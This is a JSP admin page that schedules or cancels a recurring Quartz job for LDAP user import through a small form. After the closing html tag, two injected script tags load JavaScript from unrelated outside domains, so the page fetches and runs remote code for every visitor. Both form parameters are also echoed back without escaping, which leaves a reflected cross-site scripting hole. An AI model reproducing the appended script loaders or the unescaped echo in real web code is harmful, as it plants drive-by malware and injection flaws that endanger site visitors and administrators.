<%@ page import="org.quartz.JobDetail" %>
<%@ page import="org.quartz.Scheduler" %>
<%@ page import="org.quartz.SchedulerException" %>
<%@ page import="org.quartz.SimpleTrigger" %>
<%@ page import="org.quartz.Trigger" %>
<%@ page import="org.quartz.impl.StdSchedulerFactory" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<%  	
  String triggerIntervalStr = request.getParameter("importTimeInterval");
  String triggerTimeStr = request.getParameter("triggerTime");    
  try 
  {    
    if(triggerIntervalStr!=null){      
      long triggerInterval = Long.parseLong(triggerIntervalStr) * 60 * 1000;

      java.text.SimpleDateFormat simpleDateFormat = new java.text.SimpleDateFormat("yyyy/MM/dd HH:mm");
      java.util.Date triggerTime = simpleDateFormat.parse(triggerTimeStr);
      
      //org.quartz.SchedulerFactory factory = new StdSchedulerFactory();
      Scheduler scheduler = com.dcivision.framework.SchedulerFactory.getScheduler();
      //triggerTime = Utility.timestampToCalendar(curTime);
      if(triggerInterval >0){
      	scheduler.unscheduleJob("LDAP_IMPORT_TRIGGER", "LDAP_IMPORT_TRIGGERGROUP");
        JobDetail jobDetail = new org.quartz.JobDetail("LDAP_IMPORT_JOB","LDAP_IMPORT_JOBGROUP",com.dcivision.ldap.core.LdapImportJob.class);
        Trigger trigger = new SimpleTrigger("LDAP_IMPORT_TRIGGER","LDAP_IMPORT_TRIGGERGROUP",triggerTime, null,SimpleTrigger.REPEAT_INDEFINITELY,triggerInterval);
        scheduler.scheduleJob(jobDetail, trigger);
        //if(!scheduler.isStarted()){
          //out.println("Start Scheduler....");
          scheduler.start();
        //}
      }else{
      	scheduler.unscheduleJob("LDAP_IMPORT_TRIGGER", "LDAP_IMPORT_TRIGGERGROUP");
      }
    }
  } catch (SchedulerException e) {
    LogFactory.getLog(this.getClass()).error(e, e);
  }	
%>
<html>
<body>
<form action="TriggerLdapSync.jsp" method="post">
  <table>
    <tr>
      <td>Ldap Auto Import Schedule (in minutes):</td><td><input type="text" name="importTimeInterval" value="<%=triggerIntervalStr%>"></td>
    </tr>
    <tr>
      <td>Starting Datetime in (YYYY/MM/DD HH:MM)</td><td><input type="text" name="triggerTime" value="<%=triggerTimeStr%>"></td>
    </tr>    
    <tr><td colspan='2'><font color='red'>Set interval to 0 will turn off the scheduler</td></tr>
    <tr><td colspan='2'><input type="submit"></tr>
  </table>  
</form>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>